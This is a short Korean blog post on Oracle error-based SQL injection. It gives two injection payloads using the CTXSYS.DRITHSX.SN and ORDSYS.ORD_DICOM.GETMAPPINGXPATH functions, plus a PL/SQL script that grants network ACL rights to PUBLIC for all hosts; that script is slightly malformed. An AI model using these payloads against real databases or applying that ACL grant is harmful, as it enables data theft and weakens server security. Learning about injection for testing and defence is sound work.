Oracle 인젝션 중, Error based injection입니다.


흔히 Oracle DB의 utl_inaddr.get_host_address함수를 이용해서 Error Based Injection공격을 수행하는데요


11g 버전부터는 관리자가 직접 ACL설정을 풀어줘야만 해당함수가 작동한다고 합니다.


조금 검색해보니 역시 utl_inaddr.get_host_address함수를 사용하지 않고 인젝션이 가능한 함수가 나오네요


출처1 : http://blog.red-database-security.com/2009/01/17/tutorial-oracle-sql-injection-in-webapps-part-i/

출처2 : http://n3015m.tistory.com/148


CTXSYS.DRITHSX.SN / ORDSYS.ORD_DICOM.GETMAPPINGXPATH 함수를 이용합니다.


select * from board where idx=43 or 1=ordsys.ord_dicom.getmappingxpath((에러 인젝션을 통해 출력하고 싶은 쿼리문),user,user);



select * from board where idx=43 or 1=ctxsys.drithsx.sn(1,(에러 인젝션을 통해 출력하고 싶은 쿼리문))--


추가적으로 Oracle에서 ACL설정을 주고자 할때는 다음 스크립트를 입력하면 됩니다:)


begin

DBMS_NETWORK_ACL_ADMIN.CREATE_ACL(

acl => 'network_services.xml',

description => 'NETWORK ACL',

principal => 'PUBLIC',

is_grant => true,

privilege => 'connect');

end;


DBMS_NETWORK_ACL_ADMIN.ADD_PRIVILEGE(

acl => 'network_services.xml',

principal => 'PUBLIC',

is_grant => true,

privilege => 'resolve');

DBMS_NETWORK_ACL_ADMIN.ASSIGN_ACL(

acl => 'network_services.xml',

host => '*');


commit;

end;

/


'Web' 카테고리의 다른 글

marquee onstart xss & XSS 기법  (0) 2019.05.10
주요 Editor 샘플페이지 및 취약점 발생경로  (4) 2018.12.03
xp_cmdshell 활성화 쿼리  (1) 2018.10.01
MSSQL Limit 기능 구현  (0) 2018.10.01
MSSQL Injection  (0) 2018.09.20

+ Recent posts